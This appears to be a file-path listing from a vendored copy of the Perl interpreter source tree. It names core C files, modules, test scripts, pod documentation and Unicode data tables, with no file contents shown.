    vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList.pm
    vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList.pod
    vendor/perl/dist/dist/Module-CoreList/t/find_modules.t
    vendor/perl/dist/dist/Module-CoreList/t/is_core.t
    vendor/perl/dist/dist/Net-Ping/Changes
    vendor/perl/dist/dist/Net-Ping/lib/Net/Ping.pm
    vendor/perl/dist/dist/Net-Ping/t/010_pingecho.t
    vendor/perl/dist/dist/Net-Ping/t/200_ping_tcp.t
    vendor/perl/dist/dist/Net-Ping/t/400_ping_syn.t
    vendor/perl/dist/dist/Net-Ping/t/410_syn_host.t
    vendor/perl/dist/dist/PathTools/Changes
    vendor/perl/dist/dist/PathTools/Cwd.pm
    vendor/perl/dist/dist/PathTools/Cwd.xs
    vendor/perl/dist/dist/PathTools/Makefile.PL
    vendor/perl/dist/dist/PathTools/lib/File/Spec/AmigaOS.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec/Cygwin.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec/Epoc.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec/Functions.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec/Mac.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec/OS2.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec/Unix.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec/VMS.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec/Win32.pm
    vendor/perl/dist/dist/PathTools/lib/File/Spec.pm
    vendor/perl/dist/dist/PathTools/t/Spec.t
    vendor/perl/dist/dist/PathTools/t/cwd.t
    vendor/perl/dist/dist/PathTools/t/taint.t
    vendor/perl/dist/dist/Safe/t/safe1.t
    vendor/perl/dist/dist/Safe/t/safe2.t
    vendor/perl/dist/dist/Safe/t/safeops.t
    vendor/perl/dist/dist/SelfLoader/lib/SelfLoader.pm
    vendor/perl/dist/dist/Storable/ChangeLog
    vendor/perl/dist/dist/Storable/Makefile.PL
    vendor/perl/dist/dist/Storable/README
    vendor/perl/dist/dist/Storable/Storable.xs
    vendor/perl/dist/dist/Storable/hints/linux.pl
    vendor/perl/dist/dist/Storable/t/attach_errors.t
    vendor/perl/dist/dist/Storable/t/attach_singleton.t
    vendor/perl/dist/dist/Storable/t/blessed.t
    vendor/perl/dist/dist/Storable/t/canonical.t
    vendor/perl/dist/dist/Storable/t/code.t
    vendor/perl/dist/dist/Storable/t/downgrade.t
    vendor/perl/dist/dist/Storable/t/forgive.t
    vendor/perl/dist/dist/Storable/t/freeze.t
    vendor/perl/dist/dist/Storable/t/interwork56.t
    vendor/perl/dist/dist/Storable/t/just_plain_nasty.t
    vendor/perl/dist/dist/Storable/t/leaks.t
    vendor/perl/dist/dist/Storable/t/lock.t
    vendor/perl/dist/dist/Storable/t/malice.t
    vendor/perl/dist/dist/Storable/t/overload.t
    vendor/perl/dist/dist/Storable/t/recurse.t
    vendor/perl/dist/dist/Storable/t/restrict.t
    vendor/perl/dist/dist/Storable/t/retrieve.t
    vendor/perl/dist/dist/Storable/t/st-dump.pl
    vendor/perl/dist/dist/Storable/t/store.t
    vendor/perl/dist/dist/Storable/t/testlib.pl
    vendor/perl/dist/dist/Storable/t/tied.t
    vendor/perl/dist/dist/Storable/t/tied_hook.t
    vendor/perl/dist/dist/Storable/t/tied_items.t
    vendor/perl/dist/dist/Storable/t/utf8hash.t
    vendor/perl/dist/dist/Storable/t/weak.t
    vendor/perl/dist/dist/Term-ReadLine/lib/Term/ReadLine.pm
    vendor/perl/dist/dist/Test/lib/Test.pm
    vendor/perl/dist/dist/Test/t/fail.t
    vendor/perl/dist/dist/Test/t/onfail.t
    vendor/perl/dist/dist/Time-HiRes/Changes
    vendor/perl/dist/dist/Time-HiRes/HiRes.pm
    vendor/perl/dist/dist/Time-HiRes/HiRes.xs
    vendor/perl/dist/dist/Time-HiRes/Makefile.PL
    vendor/perl/dist/dist/Time-HiRes/fallback/const-c.inc
    vendor/perl/dist/dist/Time-HiRes/fallback/const-xs.inc
    vendor/perl/dist/dist/Time-HiRes/t/alarm.t
    vendor/perl/dist/dist/Time-HiRes/t/clock.t
    vendor/perl/dist/dist/Time-HiRes/t/nanosleep.t
    vendor/perl/dist/dist/Time-HiRes/t/usleep.t
    vendor/perl/dist/dist/Time-HiRes/t/utime.t
    vendor/perl/dist/dist/Time-HiRes/typemap
    vendor/perl/dist/dist/Unicode-Normalize/Normalize.pm
    vendor/perl/dist/dist/XSLoader/XSLoader_pm.PL
    vendor/perl/dist/dist/autouse/t/autouse.t
    vendor/perl/dist/dist/base/lib/base.pm
    vendor/perl/dist/dist/base/lib/fields.pm
    vendor/perl/dist/dist/base/t/base.t
    vendor/perl/dist/dist/base/t/fields-5_6_0.t
    vendor/perl/dist/dist/base/t/fields-5_8_0.t
    vendor/perl/dist/dist/constant/t/constant.t
    vendor/perl/dist/dist/if/Changes
    vendor/perl/dist/dist/if/if.pm
    vendor/perl/dist/dist/if/t/if.t
    vendor/perl/dist/dist/threads/lib/threads.pm
    vendor/perl/dist/dist/threads/t/exit.t
    vendor/perl/dist/dist/threads/t/kill3.t
    vendor/perl/dist/dist/threads/t/problems.t
    vendor/perl/dist/dist/threads/t/thread.t
    vendor/perl/dist/dist/threads/threads.xs
    vendor/perl/dist/dist/threads-shared/lib/threads/shared.pm
    vendor/perl/dist/dist/threads-shared/shared.xs
    vendor/perl/dist/djgpp/djgpp.c
    vendor/perl/dist/doio.c
    vendor/perl/dist/doop.c
    vendor/perl/dist/dosish.h
    vendor/perl/dist/dquote.c
    vendor/perl/dist/dquote_inline.h
    vendor/perl/dist/dump.c
    vendor/perl/dist/ebcdic_tables.h
    vendor/perl/dist/embed.fnc
    vendor/perl/dist/embed.h
    vendor/perl/dist/embedvar.h
    vendor/perl/dist/ext/B/B/Concise.pm
    vendor/perl/dist/ext/B/B/Terse.pm
    vendor/perl/dist/ext/B/B/Xref.pm
    vendor/perl/dist/ext/B/B.pm
    vendor/perl/dist/ext/B/B.xs
    vendor/perl/dist/ext/B/O.pm
    vendor/perl/dist/ext/B/t/OptreeCheck.pm
    vendor/perl/dist/ext/B/t/b.t
    vendor/perl/dist/ext/B/t/f_map.t
    vendor/perl/dist/ext/B/t/f_sort
    vendor/perl/dist/ext/B/t/f_sort.t
    vendor/perl/dist/ext/B/t/optree_constants.t
    vendor/perl/dist/ext/B/t/optree_misc.t
    vendor/perl/dist/ext/B/t/optree_samples.t
    vendor/perl/dist/ext/B/t/optree_specials.t
    vendor/perl/dist/ext/B/t/terse.t
    vendor/perl/dist/ext/Devel-Peek/Peek.pm
    vendor/perl/dist/ext/Devel-Peek/Peek.xs
    vendor/perl/dist/ext/Devel-Peek/t/Peek.t
    vendor/perl/dist/ext/DynaLoader/DynaLoader_pm.PL
    vendor/perl/dist/ext/DynaLoader/dl_aix.xs
    vendor/perl/dist/ext/DynaLoader/dl_win32.xs
    vendor/perl/dist/ext/DynaLoader/dlutils.c
    vendor/perl/dist/ext/Errno/Errno_pm.PL
    vendor/perl/dist/ext/ExtUtils-Miniperl/lib/ExtUtils/Miniperl.pm
    vendor/perl/dist/ext/Fcntl/t/fcntl.t
    vendor/perl/dist/ext/Fcntl/t/syslfs.t
    vendor/perl/dist/ext/File-Glob/Glob.pm
    vendor/perl/dist/ext/File-Glob/Glob.xs
    vendor/perl/dist/ext/File-Glob/bsd_glob.c
    vendor/perl/dist/ext/FileCache/lib/FileCache.pm
    vendor/perl/dist/ext/FileCache/t/01open.t
    vendor/perl/dist/ext/FileCache/t/02maxopen.t
    vendor/perl/dist/ext/FileCache/t/03append.t
    vendor/perl/dist/ext/FileCache/t/06export.t
    vendor/perl/dist/ext/GDBM_File/GDBM_File.pm
    vendor/perl/dist/ext/GDBM_File/GDBM_File.xs
    vendor/perl/dist/ext/Hash-Util/t/Util.t
    vendor/perl/dist/ext/Hash-Util/t/builtin.t
    vendor/perl/dist/ext/Hash-Util-FieldHash/FieldHash.xs
    vendor/perl/dist/ext/Hash-Util-FieldHash/lib/Hash/Util/FieldHash.pm
    vendor/perl/dist/ext/Hash-Util-FieldHash/t/12_hashwarn.t
    vendor/perl/dist/ext/I18N-Langinfo/Langinfo.pm
    vendor/perl/dist/ext/I18N-Langinfo/Langinfo.xs
    vendor/perl/dist/ext/I18N-Langinfo/t/Langinfo.t
    vendor/perl/dist/ext/NDBM_File/Makefile.PL
    vendor/perl/dist/ext/ODBM_File/ODBM_File.pm
    vendor/perl/dist/ext/ODBM_File/ODBM_File.xs
    vendor/perl/dist/ext/Opcode/Opcode.pm
    vendor/perl/dist/ext/Opcode/Opcode.xs
    vendor/perl/dist/ext/POSIX/Makefile.PL
    vendor/perl/dist/ext/POSIX/POSIX.xs
    vendor/perl/dist/ext/POSIX/lib/POSIX.pm
    vendor/perl/dist/ext/POSIX/lib/POSIX.pod
    vendor/perl/dist/ext/POSIX/t/export.t
    vendor/perl/dist/ext/POSIX/t/posix.t
    vendor/perl/dist/ext/POSIX/t/sigaction.t
    vendor/perl/dist/ext/POSIX/t/time.t
    vendor/perl/dist/ext/POSIX/t/usage.t
    vendor/perl/dist/ext/PerlIO-encoding/encoding.pm
    vendor/perl/dist/ext/PerlIO-encoding/encoding.xs
    vendor/perl/dist/ext/PerlIO-encoding/t/encoding.t
    vendor/perl/dist/ext/PerlIO-scalar/scalar.pm
    vendor/perl/dist/ext/PerlIO-scalar/scalar.xs
    vendor/perl/dist/ext/PerlIO-scalar/t/scalar.t
    vendor/perl/dist/ext/PerlIO-via/t/via.t
    vendor/perl/dist/ext/PerlIO-via/via.pm
    vendor/perl/dist/ext/PerlIO-via/via.xs
    vendor/perl/dist/ext/Pod-Functions/Functions_pm.PL
    vendor/perl/dist/ext/Pod-Html/lib/Pod/Html.pm
    vendor/perl/dist/ext/Pod-Html/t/anchorify.t
    vendor/perl/dist/ext/Pod-Html/t/crossref.t
    vendor/perl/dist/ext/Pod-Html/t/crossref2.t
    vendor/perl/dist/ext/Pod-Html/t/crossref3.t
    vendor/perl/dist/ext/Pod-Html/t/htmldir1.t
    vendor/perl/dist/ext/Pod-Html/t/htmldir2.t
    vendor/perl/dist/ext/Pod-Html/t/htmldir3.t
    vendor/perl/dist/ext/Pod-Html/t/htmldir4.t
    vendor/perl/dist/ext/Pod-Html/t/htmldir5.t
    vendor/perl/dist/ext/Pod-Html/t/htmlescp.t
    vendor/perl/dist/ext/Pod-Html/t/htmllink.t
    vendor/perl/dist/ext/Pod-Html/t/htmlview.t
    vendor/perl/dist/ext/SDBM_File/dbe.c
    vendor/perl/dist/ext/SDBM_File/dbu.c
    vendor/perl/dist/ext/SDBM_File/hash.c
    vendor/perl/dist/ext/SDBM_File/pair.c
    vendor/perl/dist/ext/SDBM_File/pair.h
    vendor/perl/dist/ext/SDBM_File/sdbm.c
    vendor/perl/dist/ext/SDBM_File/sdbm.h
    vendor/perl/dist/ext/Sys-Hostname/Hostname.pm
    vendor/perl/dist/ext/Sys-Hostname/t/Hostname.t
    vendor/perl/dist/ext/VMS-DCLsym/DCLsym.pm
    vendor/perl/dist/ext/VMS-Filespec/t/filespec.t
    vendor/perl/dist/ext/VMS-Stdio/Stdio.pm
    vendor/perl/dist/ext/VMS-Stdio/Stdio.xs
    vendor/perl/dist/ext/XS-APItest/APItest.pm
    vendor/perl/dist/ext/XS-APItest/APItest.xs
    vendor/perl/dist/ext/XS-APItest/APItest_BS
    vendor/perl/dist/ext/XS-APItest/Makefile.PL
    vendor/perl/dist/ext/XS-APItest/numeric.xs
    vendor/perl/dist/ext/XS-APItest/t/autoload.t
    vendor/perl/dist/ext/XS-APItest/t/bootstrap.t
    vendor/perl/dist/ext/XS-APItest/t/call.t
    vendor/perl/dist/ext/XS-APItest/t/fetch_pad_names.t
    vendor/perl/dist/ext/XS-APItest/t/grok.t
    vendor/perl/dist/ext/XS-APItest/t/gv_fetchmeth.t
    vendor/perl/dist/ext/XS-APItest/t/handy_base.pl
    vendor/perl/dist/ext/XS-APItest/t/locale.t
    vendor/perl/dist/ext/XS-APItest/t/loopblock.t
    vendor/perl/dist/ext/XS-APItest/t/looprest.t
    vendor/perl/dist/ext/XS-APItest/t/sviscow.t
    vendor/perl/dist/ext/XS-APItest/t/utf8.t
    vendor/perl/dist/ext/XS-APItest/t/utf8_setup.pl
    vendor/perl/dist/ext/XS-APItest/t/utf8_warn_base.pl
    vendor/perl/dist/ext/XS-APItest/t/xsub_h.t
    vendor/perl/dist/ext/XS-APItest/typemap
    vendor/perl/dist/ext/XS-Typemap/Typemap.pm
    vendor/perl/dist/ext/arybase/arybase.pm
    vendor/perl/dist/ext/arybase/arybase.xs
    vendor/perl/dist/ext/attributes/attributes.pm
    vendor/perl/dist/ext/attributes/attributes.xs
    vendor/perl/dist/ext/mro/mro.pm
    vendor/perl/dist/ext/re/re.pm
    vendor/perl/dist/ext/re/re.xs
    vendor/perl/dist/ext/re/re_top.h
    vendor/perl/dist/fakesdio.h
    vendor/perl/dist/feature.h
    vendor/perl/dist/globvar.sym
    vendor/perl/dist/gv.c
    vendor/perl/dist/handy.h
    vendor/perl/dist/hints/aix.sh
    vendor/perl/dist/hints/catamount.sh
    vendor/perl/dist/hints/cygwin.sh
    vendor/perl/dist/hints/darwin.sh
    vendor/perl/dist/hints/epix.sh
    vendor/perl/dist/hints/freebsd.sh
    vendor/perl/dist/hints/hpux.sh
    vendor/perl/dist/hints/irix_4.sh
    vendor/perl/dist/hints/irix_6.sh
    vendor/perl/dist/hints/mips.sh
    vendor/perl/dist/hints/netbsd.sh
    vendor/perl/dist/hints/svr4.sh
    vendor/perl/dist/hints/svr5.sh
    vendor/perl/dist/hints/ultrix_4.sh
    vendor/perl/dist/hv.c
    vendor/perl/dist/hv.h
    vendor/perl/dist/hv_func.h
    vendor/perl/dist/inline.h
    vendor/perl/dist/installhtml
    vendor/perl/dist/installman
    vendor/perl/dist/installperl
    vendor/perl/dist/intrpvar.h
    vendor/perl/dist/invlist_inline.h
    vendor/perl/dist/iperlsys.h
    vendor/perl/dist/lib/B/Deparse-core.t
    vendor/perl/dist/lib/B/Deparse.pm
    vendor/perl/dist/lib/B/Deparse.t
    vendor/perl/dist/lib/B/Op_private.pm
    vendor/perl/dist/lib/Benchmark.t
    vendor/perl/dist/lib/Config/Extensions.pm
    vendor/perl/dist/lib/DirHandle.pm
    vendor/perl/dist/lib/ExtUtils/Embed.pm
    vendor/perl/dist/lib/ExtUtils/XSSymSet.pm
    vendor/perl/dist/lib/ExtUtils/typemap
    vendor/perl/dist/lib/File/Copy.pm
    vendor/perl/dist/lib/File/Copy.t
    vendor/perl/dist/lib/File/stat.pm
    vendor/perl/dist/lib/Net/hostent.pm
    vendor/perl/dist/lib/Net/netent.pm
    vendor/perl/dist/lib/Net/protoent.pm
    vendor/perl/dist/lib/Net/servent.pm
    vendor/perl/dist/lib/Tie/Array.pm
    vendor/perl/dist/lib/Tie/Scalar.t
    vendor/perl/dist/lib/Tie/StdHandle.pm
    vendor/perl/dist/lib/Time/gmtime.pm
    vendor/perl/dist/lib/Time/localtime.pm
    vendor/perl/dist/lib/Unicode/UCD.pm
    vendor/perl/dist/lib/Unicode/UCD.t
    vendor/perl/dist/lib/User/grent.pm
    vendor/perl/dist/lib/User/pwent.pm
    vendor/perl/dist/lib/_charnames.pm
    vendor/perl/dist/lib/blib.pm
    vendor/perl/dist/lib/bytes.pm
    vendor/perl/dist/lib/charnames.pm
    vendor/perl/dist/lib/feature.pm
    vendor/perl/dist/lib/locale.t
    vendor/perl/dist/lib/locale_threads.t
    vendor/perl/dist/lib/overload.pm
    vendor/perl/dist/lib/overload.t
    vendor/perl/dist/lib/perl5db.pl
    vendor/perl/dist/lib/perl5db.t
    vendor/perl/dist/lib/perlbug.t
    vendor/perl/dist/lib/sort.pm
    vendor/perl/dist/lib/sort.t
    vendor/perl/dist/lib/subs.pm
    vendor/perl/dist/lib/unicore/ArabicShaping.txt
    vendor/perl/dist/lib/unicore/BidiBrackets.txt
    vendor/perl/dist/lib/unicore/BidiMirroring.txt
    vendor/perl/dist/lib/unicore/Blocks.txt
    vendor/perl/dist/lib/unicore/CJKRadicals.txt
    vendor/perl/dist/lib/unicore/CaseFolding.txt
    vendor/perl/dist/lib/unicore/CompositionExclusions.txt
    vendor/perl/dist/lib/unicore/DAge.txt
    vendor/perl/dist/lib/unicore/DCoreProperties.txt
    vendor/perl/dist/lib/unicore/DNormalizationProps.txt
    vendor/perl/dist/lib/unicore/EastAsianWidth.txt
    vendor/perl/dist/lib/unicore/EmojiSources.txt
    vendor/perl/dist/lib/unicore/HangulSyllableType.txt
    vendor/perl/dist/lib/unicore/Index.txt
    vendor/perl/dist/lib/unicore/IndicPositionalCategory.txt
    vendor/perl/dist/lib/unicore/IndicSyllabicCategory.txt
    vendor/perl/dist/lib/unicore/Jamo.txt
    vendor/perl/dist/lib/unicore/LineBreak.txt
    vendor/perl/dist/lib/unicore/NameAliases.txt
    vendor/perl/dist/lib/unicore/NamedSequences.txt
    vendor/perl/dist/lib/unicore/NamedSqProv.txt
    vendor/perl/dist/lib/unicore/NamesList.txt
    vendor/perl/dist/lib/unicore/NormalizationCorrections.txt
    vendor/perl/dist/lib/unicore/PropList.txt
    vendor/perl/dist/lib/unicore/PropValueAliases.txt
    vendor/perl/dist/lib/unicore/PropertyAliases.txt
    vendor/perl/dist/lib/unicore/README.perl
    vendor/perl/dist/lib/unicore/ReadMe.txt
    vendor/perl/dist/lib/unicore/ScriptExtensions.txt
    vendor/perl/dist/lib/unicore/Scripts.txt
    vendor/perl/dist/lib/unicore/SpecialCasing.txt
    vendor/perl/dist/lib/unicore/StandardizedVariants.txt
    vendor/perl/dist/lib/unicore/UnicodeData.txt
    vendor/perl/dist/lib/unicore/auxiliary/GCBTest.txt
    vendor/perl/dist/lib/unicore/auxiliary/GraphemeBreakProperty.txt
    vendor/perl/dist/lib/unicore/auxiliary/LBTest.txt
    vendor/perl/dist/lib/unicore/auxiliary/SBTest.txt
    vendor/perl/dist/lib/unicore/auxiliary/SentenceBreakProperty.txt
    vendor/perl/dist/lib/unicore/auxiliary/WBTest.txt
    vendor/perl/dist/lib/unicore/auxiliary/WordBreakProperty.txt
    vendor/perl/dist/lib/unicore/extracted/DBidiClass.txt
    vendor/perl/dist/lib/unicore/extracted/DBinaryProperties.txt
    vendor/perl/dist/lib/unicore/extracted/DCombiningClass.txt
    vendor/perl/dist/lib/unicore/extracted/DDecompositionType.txt
    vendor/perl/dist/lib/unicore/extracted/DEastAsianWidth.txt
    vendor/perl/dist/lib/unicore/extracted/DGeneralCategory.txt
    vendor/perl/dist/lib/unicore/extracted/DJoinGroup.txt
    vendor/perl/dist/lib/unicore/extracted/DJoinType.txt
    vendor/perl/dist/lib/unicore/extracted/DLineBreak.txt
    vendor/perl/dist/lib/unicore/extracted/DNumType.txt
    vendor/perl/dist/lib/unicore/extracted/DNumValues.txt
    vendor/perl/dist/lib/unicore/mktables
    vendor/perl/dist/lib/unicore/version
    vendor/perl/dist/lib/utf8.pm
    vendor/perl/dist/lib/vars.pm
    vendor/perl/dist/lib/warnings.pm
    vendor/perl/dist/locale.c
    vendor/perl/dist/make_ext.pl
    vendor/perl/dist/makedef.pl
    vendor/perl/dist/malloc.c
    vendor/perl/dist/malloc_ctl.h
    vendor/perl/dist/mathoms.c
    vendor/perl/dist/metaconfig.h
    vendor/perl/dist/mg.c
    vendor/perl/dist/mg_names.inc
    vendor/perl/dist/mg_raw.h
    vendor/perl/dist/mg_vtable.h
    vendor/perl/dist/miniperlmain.c
    vendor/perl/dist/mkppport
    vendor/perl/dist/mkppport.lst
    vendor/perl/dist/mro_core.c
    vendor/perl/dist/numeric.c
    vendor/perl/dist/op.c
    vendor/perl/dist/op.h
    vendor/perl/dist/opcode.h
    vendor/perl/dist/opnames.h
    vendor/perl/dist/os2/os2.c
    vendor/perl/dist/os2/perlrexx.c
    vendor/perl/dist/pad.c
    vendor/perl/dist/pad.h
    vendor/perl/dist/parser.h
    vendor/perl/dist/patchlevel.h
    vendor/perl/dist/perl.c
    vendor/perl/dist/perl.h
    vendor/perl/dist/perlapi.h
    vendor/perl/dist/perlio.c
    vendor/perl/dist/perlio.h
    vendor/perl/dist/perliol.h
    vendor/perl/dist/perlvars.h
    vendor/perl/dist/perly.act
    vendor/perl/dist/perly.h
    vendor/perl/dist/perly.tab
    vendor/perl/dist/perly.y
    vendor/perl/dist/plan9/config.plan9
    vendor/perl/dist/plan9/config_h.sample
    vendor/perl/dist/plan9/config_sh.sample
    vendor/perl/dist/pod/buildtoc
    vendor/perl/dist/pod/perl.pod
    vendor/perl/dist/pod/perl5100delta.pod
    vendor/perl/dist/pod/perl5120delta.pod
    vendor/perl/dist/pod/perl5140delta.pod
    vendor/perl/dist/pod/perl5180delta.pod
    vendor/perl/dist/pod/perl5181delta.pod
    vendor/perl/dist/pod/perl5184delta.pod
    vendor/perl/dist/pod/perl5200delta.pod
    vendor/perl/dist/pod/perl5240delta.pod
    vendor/perl/dist/pod/perl581delta.pod
    vendor/perl/dist/pod/perl588delta.pod
    vendor/perl/dist/pod/perl589delta.pod
    vendor/perl/dist/pod/perlapio.pod
    vendor/perl/dist/pod/perlartistic.pod
    vendor/perl/dist/pod/perldata.pod
    vendor/perl/dist/pod/perldebguts.pod
    vendor/perl/dist/pod/perldebug.pod
    vendor/perl/dist/pod/perldelta.pod
    vendor/perl/dist/pod/perldeprecation.pod
    vendor/perl/dist/pod/perldiag.pod
    vendor/perl/dist/pod/perlebcdic.pod
    vendor/perl/dist/pod/perlembed.pod
    vendor/perl/dist/pod/perlexperiment.pod
    vendor/perl/dist/pod/perlfilter.pod
    vendor/perl/dist/pod/perlfunc.pod
    vendor/perl/dist/pod/perlgit.pod
    vendor/perl/dist/pod/perlguts.pod
    vendor/perl/dist/pod/perlhack.pod
    vendor/perl/dist/pod/perlhacktips.pod
    vendor/perl/dist/pod/perlhist.pod
    vendor/perl/dist/pod/perlinterp.pod
    vendor/perl/dist/pod/perliol.pod
    vendor/perl/dist/pod/perlipc.pod
    vendor/perl/dist/pod/perllocale.pod
    vendor/perl/dist/pod/perlmodinstall.pod
    vendor/perl/dist/pod/perlobj.pod
    vendor/perl/dist/pod/perlop.pod
    vendor/perl/dist/pod/perlpacktut.pod
    vendor/perl/dist/pod/perlpolicy.pod
    vendor/perl/dist/pod/perlport.pod
    vendor/perl/dist/pod/perlre.pod
    vendor/perl/dist/pod/perlreapi.pod
    vendor/perl/dist/pod/perlrebackslash.pod
    vendor/perl/dist/pod/perlrecharclass.pod
    vendor/perl/dist/pod/perlref.pod
    vendor/perl/dist/pod/perlreftut.pod
    vendor/perl/dist/pod/perlrequick.pod
    vendor/perl/dist/pod/perlreref.pod
    vendor/perl/dist/pod/perlretut.pod
    vendor/perl/dist/pod/perlrun.pod
    vendor/perl/dist/pod/perlsec.pod
    vendor/perl/dist/pod/perlsub.pod
    vendor/perl/dist/pod/perlsyn.pod
    vendor/perl/dist/pod/perltie.pod
    vendor/perl/dist/pod/perlunicode.pod
    vendor/perl/dist/pod/perluniintro.pod
    vendor/perl/dist/pod/perlvar.pod
    vendor/perl/dist/pp.c
    vendor/perl/dist/pp.h
    vendor/perl/dist/pp_ctl.c
    vendor/perl/dist/pp_hot.c
    vendor/perl/dist/pp_pack.c
    vendor/perl/dist/pp_proto.h
    vendor/perl/dist/pp_sort.c
    vendor/perl/dist/pp_sys.c
    vendor/perl/dist/proto.h
    vendor/perl/dist/reentr.c
    vendor/perl/dist/reentr.h
    vendor/perl/dist/regcharclass.h
    vendor/perl/dist/regcomp.c
    vendor/perl/dist/regcomp.h
    vendor/perl/dist/regcomp.sym
    vendor/perl/dist/regen/ebcdic.pl
    vendor/perl/dist/regen/feature.pl
    vendor/perl/dist/regen/lib_cleanup.pl
    vendor/perl/dist/regen/mg_vtable.pl
    vendor/perl/dist/regen/mk_invlists.pl
    vendor/perl/dist/regen/op_private
    vendor/perl/dist/regen/opcode.pl
    vendor/perl/dist/regen/opcodes
    vendor/perl/dist/regen/reentr.pl
    vendor/perl/dist/regen/regcharclass.pl
    vendor/perl/dist/regen/regcomp.pl
    vendor/perl/dist/regen/regen_lib.pl
    vendor/perl/dist/regen/unicode_constants.pl
    vendor/perl/dist/regen/warnings.pl
    vendor/perl/dist/regen_perly.pl
    vendor/perl/dist/regexec.c
    vendor/perl/dist/regexp.h
    vendor/perl/dist/regnodes.h
    vendor/perl/dist/scope.c
    vendor/perl/dist/scope.h
    vendor/perl/dist/sv.c
    vendor/perl/dist/sv.h
    vendor/perl/dist/symbian/config.sh
    vendor/perl/dist/symbian/install.cfg
    vendor/perl/dist/symbian/symbian_stubs.c
    vendor/perl/dist/t/TEST
    vendor/perl/dist/t/base/lex.t
    vendor/perl/dist/t/base/rs.t
    vendor/perl/dist/t/base/translate.t
    vendor/perl/dist/t/comp/bproto.t
    vendor/perl/dist/t/comp/parser.t
    vendor/perl/dist/t/comp/parser_run.t
    vendor/perl/dist/t/comp/utf.t
    vendor/perl/dist/t/harness
    vendor/perl/dist/t/io/argv.t
    vendor/perl/dist/t/io/fs.t
    vendor/perl/dist/t/io/nargv.t
    vendor/perl/dist/t/io/open.t
    vendor/perl/dist/t/io/openpid.t
    vendor/perl/dist/t/io/pipe.t
    vendor/perl/dist/t/io/socket.t
    vendor/perl/dist/t/io/tell.t
    vendor/perl/dist/t/io/through.t
    vendor/perl/dist/t/lib/croak/mg
    vendor/perl/dist/t/lib/croak/op
    vendor/perl/dist/t/lib/croak/pp_ctl
    vendor/perl/dist/t/lib/croak/pp_sys
    vendor/perl/dist/t/lib/croak/toke
    vendor/perl/dist/t/lib/dbmt_common.pl
    vendor/perl/dist/t/lib/feature/bundle
    vendor/perl/dist/t/lib/warnings/9enabled
    vendor/perl/dist/t/lib/warnings/9uninit
    vendor/perl/dist/t/lib/warnings/doop
    vendor/perl/dist/t/lib/warnings/gv
    vendor/perl/dist/t/lib/warnings/mg
    vendor/perl/dist/t/lib/warnings/op
    vendor/perl/dist/t/lib/warnings/pad
    vendor/perl/dist/t/lib/warnings/pp
    vendor/perl/dist/t/lib/warnings/pp_sys
    vendor/perl/dist/t/lib/warnings/regcomp
    vendor/perl/dist/t/lib/warnings/toke
    vendor/perl/dist/t/lib/warnings/utf8
    vendor/perl/dist/t/loc_tools.pl
    vendor/perl/dist/t/mro/next_inanon.t
    vendor/perl/dist/t/mro/next_ineval.t
    vendor/perl/dist/t/op/array.t
    vendor/perl/dist/t/op/attrs.t
    vendor/perl/dist/t/op/blocks.t
    vendor/perl/dist/t/op/bop.t
    vendor/perl/dist/t/op/caller.t
    vendor/perl/dist/t/op/chdir.t
    vendor/perl/dist/t/op/chop.t
    vendor/perl/dist/t/op/closure.t
    vendor/perl/dist/t/op/concat2.t
    vendor/perl/dist/t/op/coreamp.t
    vendor/perl/dist/t/op/delete.t
    vendor/perl/dist/t/op/do.t
    vendor/perl/dist/t/op/each_array.t
    vendor/perl/dist/t/op/eval.t
    vendor/perl/dist/t/op/exec.t
    vendor/perl/dist/t/op/filetest.t
    vendor/perl/dist/t/op/filetest_stack_ok.t
    vendor/perl/dist/t/op/fork.t
    vendor/perl/dist/t/op/getppid.t
    vendor/perl/dist/t/op/gmagic.t
    vendor/perl/dist/t/op/goto.t
    vendor/perl/dist/t/op/goto_xs.t
    vendor/perl/dist/t/op/gv.t
    vendor/perl/dist/t/op/hash.t
    vendor/perl/dist/t/op/hashwarn.t
    vendor/perl/dist/t/op/heredoc.t
    vendor/perl/dist/t/op/hexfp.t
    vendor/perl/dist/t/op/index.t
    vendor/perl/dist/t/op/infnan.t
    vendor/perl/dist/t/op/kvaslice.t
    vendor/perl/dist/t/op/kvhslice.t
    vendor/perl/dist/t/op/leaky-magic.t
    vendor/perl/dist/t/op/lex.t
    vendor/perl/dist/t/op/lexsub.t
    vendor/perl/dist/t/op/list.t
    vendor/perl/dist/t/op/local.t
    vendor/perl/dist/t/op/lop.t
    vendor/perl/dist/t/op/lvref.t
    vendor/perl/dist/t/op/magic.t
    vendor/perl/dist/t/op/method.t
    vendor/perl/dist/t/op/multideref.t
    vendor/perl/dist/t/op/pack.t
    vendor/perl/dist/t/op/postfixderef.t
    vendor/perl/dist/t/op/protowarn.t
    vendor/perl/dist/t/op/push.t
    vendor/perl/dist/t/op/qr.t
    vendor/perl/dist/t/op/readdir.t
    vendor/perl/dist/t/op/readline.t
    vendor/perl/dist/t/op/ref.t
    vendor/perl/dist/t/op/reverse.t
    vendor/perl/dist/t/op/select.t
    vendor/perl/dist/t/op/signatures.t
    vendor/perl/dist/t/op/smartkve.t
    vendor/perl/dist/t/op/sort.t
    vendor/perl/dist/t/op/splice.t
    vendor/perl/dist/t/op/split.t
    vendor/perl/dist/t/op/sprintf.t
    vendor/perl/dist/t/op/sprintf2.t
    vendor/perl/dist/t/op/sselect.t
    vendor/perl/dist/t/op/stash.t
    vendor/perl/dist/t/op/stat.t
    vendor/perl/dist/t/op/state.t
    vendor/perl/dist/t/op/study.t
    vendor/perl/dist/t/op/sub.t
    vendor/perl/dist/t/op/sub_lval.t
    vendor/perl/dist/t/op/substr.t
    vendor/perl/dist/t/op/svleak.t
    vendor/perl/dist/t/op/switch.t
    vendor/perl/dist/t/op/sysio.t
    vendor/perl/dist/t/op/taint.t
    vendor/perl/dist/t/op/tie.t
    vendor/perl/dist/t/op/tie_fetch_count.t
    vendor/perl/dist/t/op/tr.t
    vendor/perl/dist/t/op/undef.t
    vendor/perl/dist/t/op/unshift.t
    vendor/perl/dist/t/op/utf8decode.t
    vendor/perl/dist/t/op/vec.t
    vendor/perl/dist/t/op/ver.t
    vendor/perl/dist/t/op/warn.t
